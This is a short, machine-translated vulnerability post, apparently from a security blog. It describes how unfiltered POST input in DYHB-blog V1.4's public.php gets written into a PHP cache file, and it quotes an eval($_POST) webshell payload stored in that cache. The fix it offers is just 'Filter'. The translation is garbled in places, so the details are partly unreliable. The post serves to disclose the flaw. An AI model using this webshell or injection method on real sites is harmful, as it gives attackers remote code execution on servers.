DYHB-blog V1.4 Trojan writing vulnerability and repair

 
You can see it at the beginning of the download process... Good luck ....
Public. php file published by visitors .....
Read the code in the classic dialog box if ($ view = "save "){
// Document form data
$ Title = get_argpost (title );
Get_argpost is used to obtain the POST

No Filtering
Then the tragedy lies in
The process of generating cached files is not described.
Widthcachec_cms_newlog.php
No cache file at the beginning <? Exit ();?>
View the first paragraph
A: 2: {I: 0; a: 1: {I: 0; a: 57: {I: 0; s: 1: "3"; s: 7: "blog_id"; s: 1: "3"; I: 1; s: 24: "<? Eval ($ _ POST [xxxx]);?> "
Directly XX ...... Author: Mind

Fix: Filter